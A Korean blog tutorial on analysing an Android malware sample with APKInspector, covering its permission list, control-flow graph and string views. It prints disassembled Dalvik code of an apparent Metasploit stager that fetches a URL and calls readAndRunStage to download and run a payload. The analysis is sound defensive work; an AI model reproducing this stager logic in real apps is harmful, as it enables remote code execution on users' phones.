| | at : |
Archive

[HACKING] APKInspector를 이용한 Android Malware 분석하기 2 - APKInspector를 이용한 Malware Analysis 하훌 rwxr-xr-x 0 11/24/2015



[HACKING] APKInspector를 이용한 Android Malware 분석하기 2 - APKInspector를 이용한 Malware Analysis

Permission rw-r--r--
Author 하훌
Date and Time 11/24/2015
Label
License 크리에이티브 커먼즈 라이선스


[HACKING] APKInspector를 이용한 Android Malware 분석하기 1 - APKInspector 설치하기(Install APKInspector)
[HACKING] APKInspector를 이용한 Android Malware 분석하기 2 - APKInspector를 이용한 Malware Analysis

이번 포스팅에선 APKInspector를 통해 악성앱 분석 시 어떠한 정보를 얻어낼 수 있는지에 대한 이야기를 할까 합니다.

분석을 위해 일단 APKInspector 를 실행합니다.

# python startQT.py

아래와 같이 창이 열리게 됩니다.



분석할 APK를 불러오기 위해서는 File->New 를 선택하거나 아래 상자+ 버튼을 선택하면 불러올 수 있습니다.
맨 처음 로딩 시 주요 의심가는 퍼미션에 대해 alert을 발생시키고, Android Manifest와 APK 정보 창을 나타냅니다.



좌측의 Main View는 분석에서 주로 사용되는 창이며 각 클래스, 메소드 별 Java,Smali 및 흐름 그래프 call/out 등을 볼  수 있는 창 입니다.

오른쪽의 SideView는 메뉴판과 비슷한 역할을 합니다. APK 구성 정보부터 File List, 주요 Method 등의 정보 확인이 가능하며, 각 메소드 클릭 시 Main View에 적용되어 Main View에서 해당 메소드에 대한 정보를 나타내줍니다.

이 툴 단일로는 분석이 어려우나, dex2jar -> jd-gui를 통한 분석 방법과 함께 악성앱 분석 시 굉장히 도움이 될 수 있는 도구입니다.
특히 복잡하게 난독화가 되거나 네이티브 코드에 대해 리버싱이 필요할 경우 어느정도 참고하며 분석이 가능합니다.


일단 우측에 있는 APK Info로 패키지명, 퍼미션에 대해 확인이 가능합니다.

제가 선택한 앱에서는 아래와 같은 퍼미션이 확인되네요.

android.permission.INTERNET
android.permission.ACCESS_WIFI_STATE
android.permission.CHANGE_WIFI_STATE
android.permission.ACCESS_NETWORK_STATE
android.permission.ACCESS_COURSE_LOCATION
android.permission.ACCESS_FINE_LOCATION
android.permission.READ_PHONE_STATE
android.permission.SEND_SMS
android.permission.RECEIVE_SMS
android.permission.RECORD_AUDIO
android.permission.CALL_PHONE
android.permission.READ_CONTACTS
android.permission.WRITE_CONTACTS
android.permission.RECORD_AUDIO
android.permission.WRITE_SETTINGS
android.permission.CAMERA
android.permission.READ_SMS
android.permission.WRITE_EXTERNAL_STORAGE

Main View에서도 Android Manifest 파일을 통해 퍼미션 확인이 가능합니다.



CFG를 통해 흐름을 볼 수 있고 해당 메소드에서 Dalvik 단의 호출 데이터를 볼 수 있습니다.




0x0 const/4 v9 , [#+ 1] , {1}
0x2 const/4 v8 , [#+ 0] , {0}
0x4 const-string v4 , [string@ 163 https]
0x8 invoke-virtual v10 , v4 , [meth@ 57 Ljava/lang/String; (Ljava/lang/String;) Z startsWith]
0xe move-result v4
0x10 if-eqz v4 , [+ 57]
0x14 new-instance v4 , [type@ 43 Ljava/net/URL;]
0x18 invoke-direct v4 , v10 , [meth@ 77 Ljava/net/URL; (Ljava/lang/String;) V <init>]
0x1e invoke-virtual v4 , [meth@ 78 Ljava/net/URL; () Ljava/net/URLConnection; openConnection]
0x24 move-result-object v3
0x26 const-string v4 , [string@ 127 com.metasploit.stage.PayloadTrustManager]
0x2a invoke-static v4 , [meth@ 46 Ljava/lang/Class; (Ljava/lang/String;) Ljava/lang/Class; forName]
0x30 move-result-object v4
0x32 const-string v5 , [string@ 233 useFor]
0x36 new-array v6 , v9 , [type@ 62 [Ljava/lang/Class;]
0x3a const-class v7 , [type@ 44 Ljava/net/URLConnection;]
0x3e aput-object v7 , v6 , v8
0x42 invoke-virtual v4 , v5 , v6 , [meth@ 48 Ljava/lang/Class; (Ljava/lang/String; [Ljava/lang/Class;) Ljava/lang/reflect/Method; getMethod]
0x48 move-result-object v4
0x4a const/4 v5 , [#+ 0] , {0}
0x4c new-array v6 , v9 , [type@ 63 [Ljava/lang/Object;]
0x50 aput-object v3 , v6 , v8
0x54 invoke-virtual v4 , v5 , v6 , [meth@ 69 Ljava/lang/reflect/Method; (Ljava/lang/Object; [Ljava/lang/Object;) Ljava/lang/Object; invoke]
0x5a invoke-virtual v3 , [meth@ 80 Ljava/net/URLConnection; () Ljava/io/InputStream; getInputStream]
0x60 move-result-object v1
0x62 new-instance v2 , [type@ 21 Ljava/io/ByteArrayOutputStream;]
0x66 invoke-direct v2 , [meth@ 31 Ljava/io/ByteArrayOutputStream; () V <init>]
0x6c new-instance v0 , [type@ 22 Ljava/io/DataInputStream;]
0x70 invoke-direct v0 , v1 , [meth@ 32 Ljava/io/DataInputStream; (Ljava/io/InputStream;) V <init>]
0x76 sget-object v4 , [field@ 5 Lcom/metasploit/stage/Payload; [Ljava/lang/String; parameters]
0x7a invoke-static v0 , v2 , v4 , [meth@ 12 Lcom/metasploit/stage/Payload; (Ljava/io/DataInputStream; Ljava/io/OutputStream; [Ljava/lang/String;) V readAndRunStage]
0x80 return-void
0x82 new-instance v4 , [type@ 43 Ljava/net/URL;]
0x86 invoke-direct v4 , v10 , [meth@ 77 Ljava/net/URL; (Ljava/lang/String;) V <init>]
0x8c invoke-virtual v4 , [meth@ 79 Ljava/net/URL; () Ljava/io/InputStream; openStream]
0x92 move-result-object v1

0x94 goto [+ -25]

동일한 내용을 ByteCode로도 볼 수 있구요.


Call/out 기능에서는 메소드의 호출 순서를 볼 때 도움이 됩니다.
문자열 난독화로 따라가기 힘든 소스에서 조금 도움이 될 것 같네요.



마지막으로 APK 내 포함되어 있는 String 리스트에  대해서도 확인할 수 있습니다.



이러한 정보를 통해 dex2jar,jdgui 조합의 분석에서 좀 더 심도있는 분석을 진행할 때 도움이 될 수 있는 좋은 툴 입니다.





Share







HAHWUL
HACKING | PENETRATION-TEST | CODING
HACKERONE : GIT : 0DAY-TODAY : EXPLOIT-DB : PACKETSTORM
GOOGLE+ | HAHWUL@GMAIL.COM | TWITTER
WWW.HAHWUL.COM




0 개의 댓글:

댓글 쓰기